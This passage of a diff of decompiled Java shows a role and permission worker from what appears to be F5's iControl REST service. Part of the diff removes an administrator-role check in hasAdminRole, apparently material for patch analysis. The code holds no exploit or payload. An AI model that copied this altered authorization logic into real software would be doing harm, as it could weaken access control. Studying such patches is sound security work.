UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH)); private static final String EXTERNAL_LOGIN_WORKER_PATH = UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(AuthnWorker.WORKER_URI_PATH)); private static final String EXTERNAL_EFFECTIVE_PERMISSIONS_WORKER_PATH = UrlHelper.normalizeUriPath(UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_EFFECTIVE_PERMISSIONS_WORKER_URI_PATH)); public static final String ADMIN_ROLE = "Administrator"; public static final String ADMIN_ROLE_DESCRIPTION = "Administrators are able to perform any action."; public static final String READ_ONLY_MSG_FMT = "Cannot %s built in roles."; private static final String LOCAL_USERS_PATH = UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH); private final Map<String, RoleResourceMatcher> roleNameToResources = new ConcurrentHashMap<>(); private final Map<RestReference, Set<String>> resourceGroupToRoleNames = new ConcurrentHashMap<>(); private final Map<RestReference, Set<String>> userLinkToRoleNames = new ConcurrentHashMap<>(); private TmosRoleCache tmosRoleCache; ConcurrentLinkedQueue<RestReference> usersToRemove = new ConcurrentLinkedQueue<>(); AtomicBoolean isUserRemovalRunning = new AtomicBoolean(); private final RoleResourceGroupWorker resourcesGroupWorker; private final EffectivePermissionsWorker effectivePermissionsWorker; public RolesWorker() { super(RolesWorkerState.class, RolesCollectionState.class); this.resourcesGroupWorker = new RoleResourceGroupWorker(this); this.effectivePermissionsWorker = new EffectivePermissionsWorker(this); } public void onStart(RestServer server) throws Exception { EvaluatePermissions.setRolesWorker(this, server.getPort()); this.tmosRoleCache = new TmosRoleCache(server.getPort()); setIdempotentPostEnabled(true); setFullStateRequiredOnStart(true); setMaxPendingOperations(10000L); URI subscriptionsUri = makeLocalUri(SubscriptionWorker.ALREADY_STARTED_WORKER_URI_PATH); URI publicationsUri = makeLocalUri("shared/publisher"); URI tmosRoleUri = makeLocalUri(TmosRoleWorkerState.WORKER_PATH); URI localRolesUri = makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH); URI resourceGroupWorkerUri = getServer().registerWorkerUri(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH, (RestWorker)this.resourcesGroupWorker); URI effectivePermissionWorkerUri = getServer().registerWorkerUri(WellKnownPorts.AUTHZ_EFFECTIVE_PERMISSIONS_WORKER_URI_PATH, (RestWorker)this.effectivePermissionsWorker); completeStart(this.collectionClass, new URI[] { resourceGroupWorkerUri, effectivePermissionWorkerUri, tmosRoleUri, localRolesUri, subscriptionsUri, publicationsUri }); } protected void onStartCompleted(Object loadedState, Exception stateLoadEx, Exception availabilityEx) throws Exception { RolesCollectionState collectionState = (RolesCollectionState)loadedState; for (RolesWorkerState role : collectionState.items) { addRole(role); } RestRequestCompletion notificationCompletion = new RestRequestCompletion() { public void completed(RestOperation operation) { if (operation.getMethod() != RestOperation.RestMethod.DELETE) { return; } RestResolverGroupEntry entry = (RestResolverGroupEntry)operation.getTypedBody(RestResolverGroupEntry.class); for (RestReference ref : entry.references) { RolesWorker.this.queueUserRemoval(ref); } } public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().severeFmt("%s", new Object[] { ex.getMessage() }); } }; RestRequestCompletion subscribeCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().warningFmt("Failed to subscribe to worker: %s", new Object[] { RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { RolesWorker.this.getLogger().fineFmt("Successfully subscribed to %s", new Object[] { operation.getUri().getPath() }); } }; AuthzHelper.subscribeToUsers(getServer(), subscribeCompletion, notificationCompletion); AuthzHelper.subscribeToUserGroups(getServer(), subscribeCompletion, notificationCompletion); RestRequestCompletion resourceGroupNotificationCompletion = new RestRequestCompletion() { public void completed(RestOperation operation) { if (operation.getMethod() != RestOperation.RestMethod.DELETE) { return; } RoleResourceGroupState groupState = (RoleResourceGroupState)operation.getTypedBody(RoleResourceGroupState.class); RolesWorker.this.removeResourceGroupsFromRoles(new RestReference(groupState.selfLink)); } public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().severeFmt("%s", new Object[] { ex.getMessage() }); } }; RestOperation subscribeRequest = RestOperation.create().setUri(buildLocalUri(new String[] { WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH })).setCompletion(subscribeCompletion); sendPostForSubscription(subscribeRequest, getServer(), resourceGroupNotificationCompletion); super.onStartCompleted(loadedState, stateLoadEx, availabilityEx); removeStaleResourceGroups(collectionState); } private void removeStaleResourceGroups(final RolesCollectionState rolesCollection) { RestRequestCompletion getCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().warningFmt("Failed to clean up stale resource groups: %s", new Object[] { RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { RoleResourceGroupCollection groupCollection = (RoleResourceGroupCollection)operation.getTypedBody(RoleResourceGroupCollection.class); Set<URI> groupUris = new HashSet<>(); for (RoleResourceGroupState group : groupCollection.items) { groupUris.add(group.selfLink); } for (RolesWorkerState role : rolesCollection.items) { boolean needsUpdate = false; if (role.resourceGroupReferences != null) { Iterator<RestReference> iter = role.resourceGroupReferences.iterator(); while (iter.hasNext()) { if (!groupUris.contains(((RestReference)iter.next()).link)) { iter.remove(); needsUpdate = true; } } } if (needsUpdate) { RolesWorker.this.putRole(role); } } } }; RestOperation get = RestOperation.create().setUri(makeLocalUri(WellKnownPorts.AUTHZ_RESOURCE_GROUPS_WORKER_URI_PATH)).setCompletion(getCompletion); sendGet(get); } private void putRole(final RolesWorkerState role) { RestRequestCompletion updateCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().warningFmt("Failed to update role %s: %s", new Object[] { this.val$role.name, RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { RolesWorker.this.getLogger().fineFmt("Successfully update role: %s", new Object[] { this.val$role.name }); } }; RestOperation op = RestOperation.create().setUri(makeLocalUri(role.selfLink)).setBody(role).setCompletion(updateCompletion); sendPut(op); } public void onGet(final RestOperation request) { final String destinationRoleName = getItemIdFromRequest(request); RestReference userReference = request.getAuthUserReference(); if (userReference == null || AuthzHelper.isDefaultAdminRef(userReference)) { super.onGet(request); return; } hasAdminRole(request, new CompletionHandler<Boolean>() { public void completed(Boolean isAdmin) { if (isAdmin != null && isAdmin.booleanValue()) { RolesWorker.this.onGet(request); return; } if (RolesWorker.this.hasVisibilityToRole(request, destinationRoleName)) { RolesWorker.this.onGet(request); return; } if (destinationRoleName != null) { String error = String.format("Authorization failed: userReference [%s] is not a member of role [%s].", new Object[] { (this.val$request.getAuthUserReference()).link, this.val$destinationRoleName }); request.setStatusCode(401); request.fail(new SecurityException(error)); return; } RolesWorker.this.onGet(request); } public void failed(Exception ex, Boolean isAdmin) { RolesWorker.failWithPermissionsInternalError(request); } }); } private boolean hasVisibilityToRole(RestOperation request, String destinationRoleName) { for (RestReference identityRef : request.getAuthIdentityReferences()) { if (!this.userLinkToRoleNames.containsKey(identityRef)) { continue; } synchronized (this.userLinkToRoleNames) { Set<String> roleNames = this.userLinkToRoleNames.get(identityRef); if (roleNames.contains(destinationRoleName)) { return true; } for (String roleName : roleNames) { RoleResourceMatcher resources = this.roleNameToResources.get(roleName); String destinationRoleUriPath = (destinationRoleName == null) ? EXTERNAL_ROLES_WORKER_URI_PATH : UrlHelper.buildUriPath(new String[] { EXTERNAL_ROLES_WORKER_URI_PATH, destinationRoleName }); if (resources.verifyResourceIsPermitted(destinationRoleUriPath, RestOperation.RestMethod.GET)) { return true; } } } } return false; } public boolean hasVisibilityToResourceGroup(RestOperation request, RestReference resourceGroupRef) { for (RestReference identityRef : request.getAuthIdentityReferences()) { if (!this.userLinkToRoleNames.containsKey(identityRef)) { continue; } synchronized (this.userLinkToRoleNames) { Set<String> roleNames = this.userLinkToRoleNames.get(identityRef); if (null == roleNames || roleNames.isEmpty()) { continue; } Set<String> rolesWithResourceGroup = this.resourceGroupToRoleNames.get(resourceGroupRef); if (null != rolesWithResourceGroup) { for (String roleName : rolesWithResourceGroup) { if (roleNames.contains(roleName)) { return true; } } } for (String roleName : roleNames) { RoleResourceMatcher resources = this.roleNameToResources.get(roleName); if (resources.verifyResourceIsPermitted(resourceGroupRef.link.getPath(), RestOperation.RestMethod.GET)) { return true; } } } } return false; } public void setGetCollectionBodyAsync(RestOperation getRequest, RestOperation loadRequest, CompletionHandler<Void> completion) { String destinationRoleName = getItemIdFromRequest(getRequest); if (destinationRoleName == null || destinationRoleName.equals("Administrator")) { getBuiltInRoleUserReferences(getRequest, loadRequest, completion); } else { continueSetGetCollectionBody(getRequest, loadRequest, completion); } } private void getBuiltInRoleUserReferences(final RestOperation getRequest, final RestOperation loadRequest, final CompletionHandler<Void> finalCompletion) { final String roleName = getItemIdFromRequest(getRequest); RestRequestCompletion completion = new RestRequestCompletion() { public void completed(RestOperation response) { RolesWorker.populateAdminUserReferencesOnGet(roleName, loadRequest, response); RolesWorker.this.continueSetGetCollectionBody(getRequest, loadRequest, finalCompletion); } public void failed(Exception ex, RestOperation response) { RolesWorker.this.getLogger().fineFmt("Unable to get list of admins/non-admins: %s", new Object[] { ex.getMessage() }); getRequest.fail(ex); } }; RestOperation request = RestOperation.create().setUri(makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH)).setAdminIdentity().setCompletion(completion); sendGet(request); } static void populateAdminUserReferencesOnGet(String destinationRole, RestOperation request, RestOperation LocalRolesResponse) { RolesCollectionState collection = null; RolesWorkerState adminRole = null; if (destinationRole == null) { collection = (RolesCollectionState)request.getTypedBody(RolesCollectionState.class); for (RolesWorkerState role : collection.items) { if ("Administrator".equals(role.name)) { adminRole = role; } } } else if (destinationRole.equals("Administrator")) { adminRole = (RolesWorkerState)request.getTypedBody(RolesWorkerState.class); } String localUsersPath = UrlHelper.makePublicPath(WellKnownPorts.AUTHZ_USERS_WORKER_URI_PATH); TmosLocalRolesWorkerState localState = (TmosLocalRolesWorkerState)LocalRolesResponse.getTypedBody(TmosLocalRolesWorkerState.class); if (adminRole != null) { if (adminRole.userReferences == null) { adminRole.userReferences = new HashSet<>(); } Iterator<RestReference> it = adminRole.userReferences.iterator(); while (it.hasNext()) { RestReference userRef = it.next(); if (userRef.link.getPath().startsWith(localUsersPath)) { it.remove(); } } for (String user : localState.administrators) { String userPath = UrlHelper.buildUriPath(new String[] { localUsersPath, user }); adminRole.userReferences.add(new RestReference(UrlHelper.buildPublicUri(userPath))); } if (adminRole.userReferences.isEmpty()) { adminRole.userReferences = null; } } if (destinationRole == null) { request.setBody(collection); } else if (destinationRole.equals("Administrator")) { request.setBody(adminRole); } } private void continueSetGetCollectionBody(final RestOperation getRequest, final RestOperation loadRequest, final CompletionHandler<Void> completion) { String destinationRoleName = getItemIdFromRequest(getRequest); if (destinationRoleName != null) { super.setGetCollectionBodyAsync(getRequest, loadRequest, completion); return; } RestReference userReference = getRequest.getAuthUserReference(); if (userReference == null || AuthzHelper.isDefaultAdminRef(userReference)) { super.setGetCollectionBodyAsync(getRequest, loadRequest, completion); return; } hasAdminRole(getRequest, new CompletionHandler<Boolean>() { public void completed(Boolean isAdmin) { if (isAdmin != null && isAdmin.booleanValue()) { RolesWorker.this.setGetCollectionBodyAsync(getRequest, loadRequest, completion); return; } getRequest.setBody(RolesWorker.this.filterRoles(getRequest, loadRequest)); completion.completed(null); } public void failed(Exception ex, Boolean isAdmin) { getRequest.setBody(null); getRequest.setStatusCode(500); completion.failed(new Exception("Internal server error while authorizing request"), null); } }); } private RolesCollectionState filterRoles(RestOperation getRequest, RestOperation loadRequest) { RolesCollectionState roles = (RolesCollectionState)loadRequest.getTypedBody(RolesCollectionState.class); Iterator<RolesWorkerState> iter = roles.items.iterator(); while (iter.hasNext()) { if (!hasVisibilityToRole(getRequest, ((RolesWorkerState)iter.next()).name)) { iter.remove(); } } return roles; } protected void onPatch(RestOperation request) { getLogger().fineFmt("Attempting to PATCH role; uri: %s, referrer: %s", new Object[] { request.getUri(), request.getReferer() }); if (isReadOnly(request)) { return; } RestCollectionMergeResult<RolesWorkerState> mergeResult = getMergeResultFromRequest(request); if (((RolesWorkerState)mergeResult.clientState).userReferences != null && ((RolesWorkerState)mergeResult.storageState).userReferences != null) { ((RolesWorkerState)mergeResult.mergedState).userReferences.addAll(((RolesWorkerState)mergeResult.storageState).userReferences); } if (((RolesWorkerState)mergeResult.clientState).resourceGroupReferences != null && ((RolesWorkerState)mergeResult.storageState).resourceGroupReferences != null) { ((RolesWorkerState)mergeResult.mergedState).resourceGroupReferences.addAll(((RolesWorkerState)mergeResult.storageState).resourceGroupReferences); } if (((RolesWorkerState)mergeResult.clientState).resources != null && ((RolesWorkerState)mergeResult.storageState).resources != null) { ((RolesWorkerState)mergeResult.mergedState).resources.addAll(((RolesWorkerState)mergeResult.storageState).resources); } if (((RolesWorkerState)mergeResult.clientState).properties != null && ((RolesWorkerState)mergeResult.storageState).properties != null) { for (Map.Entry<String, Object> entry : ((RolesWorkerState)mergeResult.storageState).properties.entrySet()) { if (!((RolesWorkerState)mergeResult.mergedState).properties.containsKey(entry.getKey())) { ((RolesWorkerState)mergeResult.mergedState).properties.put(entry.getKey(), entry.getValue()); } } } request.setBody(mergeResult.mergedState); updateBuiltInRoleCacheOnDemand(request); } public void onPatchCompleted(RestOperation request) { RolesWorkerState patchState = (RolesWorkerState)getStateFromRequest(request); addRole(patchState); request.complete(); } protected void onPut(RestOperation request) { getLogger().fineFmt("Attempting to PUT role; uri: %s, referrer: %s", new Object[] { request.getUri().toString(), request.getReferer() }); if (isReadOnly(request)) { return; } updateBuiltInRoleCacheOnDemand(request); } private RolesWorkerState getStateToUpdate(RestOperation request) { if (request.getMethod().equals(RestOperation.RestMethod.PATCH)) { RestCollectionMergeResult<RolesWorkerState> mergeResult = getMergeResultFromRequest(request); return (RolesWorkerState)mergeResult.storageState; } return (RolesWorkerState)request.getTypedBody(RolesWorkerState.class); } private void updateBuiltInRoleCacheOnDemand(RestOperation incomingRequest) { RolesWorkerState role = (RolesWorkerState)incomingRequest.getTypedBody(RolesWorkerState.class); if (role.userReferences != null && "Administrator".equals(role.name)) { updateLocalRolesWorker(incomingRequest, role); return; } completeRequest(incomingRequest); } private void updateLocalRolesWorker(final RestOperation incomingRequest, RolesWorkerState role) { final Set<URI> localAdminUris = collectLocalUserUris(role); TmosLocalRolesWorkerState update = new TmosLocalRolesWorkerState(); RestRequestCompletion completion = new RestRequestCompletion() { public void completed(RestOperation response) { Set<URI> remainingLocalAdminUris = new HashSet<>(localAdminUris); for (Map.Entry<URI, Boolean> entry : RolesWorker.this.tmosRoleCache.getValues().entrySet()) { if (entry.getValue() != Boolean.TRUE) { continue; } if (!RolesWorker.isLocalUserReference(new RestReference(entry.getKey()))) { continue; } if (!remainingLocalAdminUris.remove(entry.getKey())) { RolesWorker.this.tmosRoleCache.putValue(entry.getKey(), Boolean.FALSE); } } for (URI adminUri : remainingLocalAdminUris) { RolesWorker.this.tmosRoleCache.putValue(adminUri, Boolean.TRUE); } RolesWorker.this.completeRequest(incomingRequest); } public void failed(Exception ex, RestOperation response) { RolesWorker.this.getLogger().fineFmt("Unable to update list of admins: %s", new Object[] { ex.getMessage() }); incomingRequest.fail(ex); } }; for (URI adminUserRef : localAdminUris) { update.administrators.add(UrlHelper.getLastPathSegment(adminUserRef.getPath())); } if (AuthzHelper.DEFAULT_ADMIN_NAME != null) { if (!update.administrators.contains(AuthzHelper.DEFAULT_ADMIN_NAME)) { update.administrators.add(AuthzHelper.DEFAULT_ADMIN_NAME); role.userReferences.add(AuthzHelper.getDefaultAdminReference()); } incomingRequest.setBody(role); } RestOperation request = RestOperation.create().setUri(makeLocalUri(TmosLocalRolesWorkerState.WORKER_PATH)).setAdminIdentity().setBody(update).setCompletion(completion); sendPost(request); } private static Set<URI> collectLocalUserUris(RolesWorkerState roleState) { Set<URI> userUris = new HashSet<>(); for (RestReference userReference : roleState.userReferences) { if (RestReference.isNullOrEmpty(userReference)) { continue; } if (!isLocalUserReference(userReference)) { continue; } userUris.add(userReference.link); } return userUris; } private static boolean isLocalUserReference(RestReference userReference) { return userReference.link.getPath().startsWith(LOCAL_USERS_PATH); } public void onPutCompleted(RestOperation request) { RolesWorkerState putState = (RolesWorkerState)getStateFromRequest(request); addRole(putState); request.complete(); } private void addRole(RolesWorkerState postedItem) { synchronized (this.userLinkToRoleNames) { this.roleNameToResources.put(postedItem.name, buildResourcesList(postedItem)); if (postedItem.userReferences != null) { addRolesToUsers(postedItem.name, postedItem.userReferences); } if (postedItem.resourceGroupReferences != null) { addRolesToResourceGroups(postedItem.name, postedItem.resourceGroupReferences); } for (Map.Entry<RestReference, Set<String>> entry : this.userLinkToRoleNames.entrySet()) { if (((Set)entry.getValue()).contains(postedItem.name) && (postedItem.userReferences == null || !postedItem.userReferences.contains(entry.getKey()))) { ((Set)entry.getValue()).remove(postedItem.name); } } for (Map.Entry<RestReference, Set<String>> entry : this.resourceGroupToRoleNames.entrySet()) { if (((Set)entry.getValue()).contains(postedItem.name) && (postedItem.resourceGroupReferences == null || !postedItem.resourceGroupReferences.contains(entry.getKey()))) { ((Set)entry.getValue()).remove(postedItem.name); } } } } private void addRolesToUsers(String roleName, Set<RestReference> users) { for (RestReference userReference : users) { if (userReference.link == null) { getLogger().warningFmt("Null userReference in role %s", new Object[] { roleName }); continue; } getLogger().finestFmt("Adding role %s from %s", new Object[] { roleName, userReference.link.toString() }); if (this.userLinkToRoleNames.containsKey(userReference)) { ((Set<String>)this.userLinkToRoleNames.get(userReference)).add(roleName); continue; } Set<String> roleSet = new HashSet<>(); roleSet.add(roleName); this.userLinkToRoleNames.put(userReference, roleSet); } } private void addRolesToResourceGroups(String roleName, Set<RestReference> resourceGroups) { for (RestReference resourceGroup : resourceGroups) { if (resourceGroup.link == null) { getLogger().warningFmt("Null userReference in role %s", new Object[] { roleName }); continue; } getLogger().finestFmt("Adding role %s to %s", new Object[] { roleName, resourceGroup.link.toString() }); if (this.resourceGroupToRoleNames.containsKey(resourceGroup)) { ((Set<String>)this.resourceGroupToRoleNames.get(resourceGroup)).add(roleName); continue; } Set<String> roleSet = new HashSet<>(); roleSet.add(roleName); this.resourceGroupToRoleNames.put(resourceGroup, roleSet); } } private void removeRolesFromUsers(String roleName, Set<RestReference> users) { for (RestReference userReference : users) { if (userReference.link == null) { continue; } if (this.userLinkToRoleNames.containsKey(userReference)) { getLogger().finestFmt("Removing role %s from %s", new Object[] { roleName, userReference.link.toString() }); ((Set)this.userLinkToRoleNames.get(userReference)).remove(roleName); } } } private void removeRolesFromResourceGroups(String roleName, Set<RestReference> resourceGroups) { for (RestReference groupReference : resourceGroups) { if (groupReference.link == null) { continue; } if (this.resourceGroupToRoleNames.containsKey(groupReference)) { getLogger().finestFmt("Removing role %s from %s", new Object[] { roleName, groupReference.link.toString() }); ((Set)this.resourceGroupToRoleNames.get(groupReference)).remove(roleName); } } } public void onDelete(RestOperation request) { getLogger().fineFmt("Attempting to DELETE role; uri: %s, referrer: %s", new Object[] { request.getUri().toString(), request.getReferer() }); if (isReadOnly(request)) { return; } completeDelete(request); } public void onDeleteCompleted(RestOperation request) { RolesWorkerState item = (RolesWorkerState)getStateFromRequest(request); synchronized (this.userLinkToRoleNames) { if (item.userReferences != null) { removeRolesFromUsers(item.name, item.userReferences); } if (item.resourceGroupReferences != null) { removeRolesFromResourceGroups(item.name, item.resourceGroupReferences); } this.roleNameToResources.remove(item.name); } request.complete(); } public void onPost(RestOperation request) { getLogger().fineFmt("Attempting to POST role; uri: %s, referrer: %s", new Object[] { request.getUri().toString(), request.getReferer() }); updateBuiltInRoleCacheOnDemand(request); } public void onPostCompleted(RestOperation request) { RolesWorkerState postedItem = (RolesWorkerState)getStateFromRequest(request); addRole(postedItem); request.complete(); } private boolean isReadOnly(RestOperation request) { if (!isExternalRequest(request)) { return false; } RolesWorkerState updateState = getStateToUpdate(request); if (request.getMethod().equals(RestOperation.RestMethod.DELETE) && (updateState.name.equals("iControl_REST_API_User") || updateState.name.equals("Administrator"))) { request.fail(new IllegalStateException(String.format("Cannot %s built in roles.", new Object[] { "delete" }))); return true; } return false; } private static boolean isExternalRequest(RestOperation request) { return (request.getReferer() != null && !request.getReferer().endsWith(TmosBuiltInRolesWorkerState.WORKER_PATH) && !request.getReferer().contains(RemoteStateCopier.class.getName()) && !request.getReferer().contains("shared/gossip") && !request.getReferer().endsWith(WellKnownPorts.AUTHZ_TMOS_ROLES_SYNC_WORKER_URI_PATH)); } public void evaluatePermission(final RestOperation request, final String path, final RestOperation.RestMethod verb, final CompletionHandler<Boolean> completion) { if (isAllowedToAll(path, verb)) { completion.completed(Boolean.valueOf(true)); return; } hasAdminRole(request, new CompletionHandler<Boolean>() { public void completed(Boolean isAdmin) { if (isAdmin != null && isAdmin.booleanValue()) { completion.completed(Boolean.valueOf(true)); return; } completion.completed(Boolean.valueOf(RolesWorker.this.evaluatePermission(request, path, verb))); } public void failed(Exception ex, Boolean isAdmin) { completion.failed(ex, Boolean.valueOf(false)); } }); } private static boolean isAllowedToAll(String path, RestOperation.RestMethod verb) { if (verb == RestOperation.RestMethod.POST && (path.equals(EXTERNAL_EFFECTIVE_PERMISSIONS_WORKER_PATH) || path.startsWith(EXTERNAL_LOGIN_WORKER_PATH))) { return true; } if (verb == RestOperation.RestMethod.GET && (path.startsWith(EXTERNAL_ROLES_WORKER_URI_PATH) || path.startsWith(EXTERNAL_RESOURCE_GROUPS_WORKER_URI_PATH))) { return true; } return false; } private boolean evaluatePermission(RestOperation request, String path, RestOperation.RestMethod verb) { for (RestReference identityReference : request.getAuthIdentityReferences()) { if (evaluatePermission(identityReference, path, verb)) { return true; } } return false; } private boolean evaluatePermission(RestReference userLink, String path, RestOperation.RestMethod verb) { if (path.equals(userLink.link.getPath())) { return true; } if (!this.userLinkToRoleNames.containsKey(userLink)) { return false; } synchronized (this.userLinkToRoleNames) { if (!this.userLinkToRoleNames.containsKey(userLink)) { return false; } for (String roleName : this.userLinkToRoleNames.get(userLink)) { RoleResourceMatcher resources = this.roleNameToResources.get(roleName); if (resources.verifyResourceIsPermitted(path, verb)) { return true; } } } return false; } public void hasAdminRole(RestOperation request, CompletionHandler<Boolean> completion) { for (RestReference groupReference : request.getAuthGroupReferencesList()) { if (hasAdminRoleFromGroup(groupReference)) { completion.completed(Boolean.valueOf(true)); return; } } RestReference authUserReference = request.getAuthUserReference(); if (RestReference.isNullOrEmpty(authUserReference)) { completion.completed(null); return; } - if (!hasAdminRoleFromGroup(authUserReference)) { - completion.completed(null); - return; - } this.tmosRoleCache.get(authUserReference.link, completion); } private boolean hasAdminRoleFromGroup(RestReference userLink) { if (!this.userLinkToRoleNames.containsKey(userLink)) { return false; } synchronized (this.userLinkToRoleNames) { Set<String> roleNames = this.userLinkToRoleNames.get(userLink); return (roleNames != null && roleNames.contains("Administrator")); } } private RoleResourceMatcher buildResourcesList(RolesWorkerState role) { Set<RoleResource> resources = new HashSet<>(); if (role.resources != null) { resources.addAll(role.resources); } if (role.resourceGroupReferences != null) { for (RestReference resourceGroupReference : role.resourceGroupReferences) { if (RestReference.isNullOrEmpty(resourceGroupReference)) { continue; } Set<RoleResource> groupResources = this.resourcesGroupWorker.getRoleResourcesFromGroup(resourceGroupReference.link); if (groupResources != null) { resources.addAll(groupResources); } } } return new RoleResourceMatcher(resources); } private void queueUserRemoval(RestReference userReference) { getLogger().fineFmt("Queued removal of %s from roles.", new Object[] { userReference.link }); synchronized (this.userLinkToRoleNames) { if (!this.userLinkToRoleNames.containsKey(userReference)) { return; } } this.usersToRemove.add(userReference); processUserRemovalQueue(); } private void completedUserRemoval() { this.isUserRemovalRunning.set(false); processUserRemovalQueue(); } private void processUserRemovalQueue() { if (this.isUserRemovalRunning.compareAndSet(false, true)) { removeNextUser(); } } private void removeNextUser() { RestReference userRef = this.usersToRemove.poll(); if (userRef == null) { this.isUserRemovalRunning.set(false); return; } getLogger().fineFmt("Processing %s for removal from roles", new Object[] { userRef.link }); Set<String> roles = null; synchronized (this.userLinkToRoleNames) { if (this.userLinkToRoleNames.containsKey(userRef)) { roles = new HashSet<>(this.userLinkToRoleNames.get(userRef)); } } if (roles == null || roles.isEmpty()) { completedUserRemoval(); return; } for (String role : roles) { removeUserFromRole(userRef, role); } } private void removeUserFromRole(final RestReference userReference, final String roleName) { RestRequestCompletion getCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().fineFmt("Unable to GET %s to remove %s: %s", new Object[] { this.val$roleName, this.val$userReference.link.toString(), ex }); RolesWorker.this.completedUserRemoval(); } public void completed(RestOperation operation) { final RolesWorkerState role = (RolesWorkerState)operation.getTypedBody(RolesWorkerState.class); if (!role.userReferences.remove(userReference) && !"Administrator".equals(roleName)) { RolesWorker.this.completedUserRemoval(); return; } RestRequestCompletion putCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation putResponse) { if (putResponse.getStatusCode() == 404) { RolesWorker.this.completedUserRemoval(); return; } RolesWorker.this.getLogger().fineFmt("Unable to update %s to remove %s, will retry. Error: %s", new Object[] { this.val$role.name, this.this$1.val$userReference.link.toString(), ex }); RolesWorker.this.queueUserRemoval(userReference); } public void completed(RestOperation putResponse) { RolesWorker.this.getLogger().fineFmt("Successfully removed %s from role %s", new Object[] { this.this$1.val$userReference.link.toString(), this.val$role.name }); RolesWorker.this.completedUserRemoval(); } }; RestOperation put = RestOperation.create().setUri(UrlHelper.extendUriSafe(RolesWorker.this.getUri(), new String[] { this.val$roleName })).setBody(role).setCompletion(putCompletion); RolesWorker.this.sendPut(put); } }; RestOperation get = RestOperation.create().setUri(UrlHelper.extendUriSafe(getUri(), new String[] { roleName })).setCompletion(getCompletion); sendGet(get); } void removeResourceGroupsFromRoles(RestReference groupReference) { Set<String> roles = null; synchronized (this.userLinkToRoleNames) { if (this.resourceGroupToRoleNames.containsKey(groupReference)) { roles = new HashSet<>(this.resourceGroupToRoleNames.get(groupReference)); } } if (roles == null) { return; } for (String role : roles) { removeResourceGroupFromRole(groupReference, role, 10); } } void removeResourceGroupFromRole(final RestReference groupReference, final String roleName, final int retries) { RestRequestCompletion getCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().fineFmt("Failed to remove %s from role %s: %s", new Object[] { this.val$groupReference.link.toString(), this.val$roleName, ex }); } public void completed(RestOperation operation) { final RolesWorkerState role = (RolesWorkerState)operation.getTypedBody(RolesWorkerState.class); if (!role.resourceGroupReferences.remove(groupReference)) { return; } RestRequestCompletion putCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation putResponse) { if (retries <= 0) { RolesWorker.this.getLogger().warningFmt("Failed to remove %s from role %s: %s", new Object[] { this.this$1.val$groupReference.link.toString(), this.val$role.name, ex }); return; } TimerTask task = new TimerTask() { public void run() { RolesWorker.this.removeResourceGroupFromRole(groupReference, roleName, retries - 1); } }; RolesWorker.this.scheduleTask(task, true, (10 - retries) * 10, 0, 1); } public void completed(RestOperation putResponse) { RolesWorker.this.getLogger().fineFmt("Successfully removed %s from role %s", new Object[] { this.this$1.val$groupReference.link.toString(), this.val$role.name }); } }; RestOperation put = RestOperation.create().setUri(UrlHelper.extendUriSafe(RolesWorker.this.getUri(), new String[] { this.val$roleName })).setBody(role).setCompletion(putCompletion); RolesWorker.this.sendPut(put); } }; RestOperation get = RestOperation.create().setUri(UrlHelper.extendUriSafe(getUri(), new String[] { roleName })).setCompletion(getCompletion); sendGet(get); } void rebuildRolesWithRef(final URI resourceGroupSelfLink, final RestOperation groupRequest) { RestRequestCompletion getCollectionCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().warningFmt("Failed to rebuild role resources: %s", new Object[] { RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { RolesCollectionState collection = (RolesCollectionState)operation.getTypedBody(RolesCollectionState.class); RestReference resourceGroup = new RestReference(resourceGroupSelfLink); RolesWorker.this.rebuildResources(collection, resourceGroup); RolesWorker.this.resourcesGroupWorker.onRoleRebuildComplete(groupRequest); } }; loadChildValues(getCollectionCompletion); } void rebuildAllRoles() { RestRequestCompletion getCollectionCompletion = new RestRequestCompletion() { public void failed(Exception ex, RestOperation operation) { RolesWorker.this.getLogger().warningFmt("Failed to rebuild role resources: %s", new Object[] { RestHelper.throwableStackToString(ex) }); } public void completed(RestOperation operation) { RolesCollectionState collection = (RolesCollectionState)operation.getTypedBody(RolesCollectionState.class); synchronized (RolesWorker.this.userLinkToRoleNames) { for (RolesWorkerState role : collection.items) { RolesWorker.this.roleNameToResources.put(role.name, RolesWorker.this.buildResourcesList(role)); } } } }; loadChildValues(getCollectionCompletion); } void rebuildResources(RolesCollectionState collection, RestReference resourceGroup) { synchronized (this.userLinkToRoleNames) { Set<String> roleNames = this.resourceGroupToRoleNames.get(resourceGroup); if (roleNames == null) { return; } for (RolesWorkerState role : collection.items) { if (roleNames.contains(role.name)) { this.roleNameToResources.put(role.name, buildResourcesList(role)); } } } } public static void failWithPermissionsInternalError(RestOperation request) { request.setBody(null); request.setStatusCode(500); request.fail(new Exception("Internal server error while authorizing request")); } public void invalidateCacheForUser(URI userSelfLink) { this.tmosRoleCache.invalidate(userSelfLink); } } diff --git a/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java b/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java new file mode 100644 index 0000000..99c2bd4 --- /dev/null +++ b/com/f5/rest/workers/asm/AsmFileTransferConfiguration.java @@ -0,0 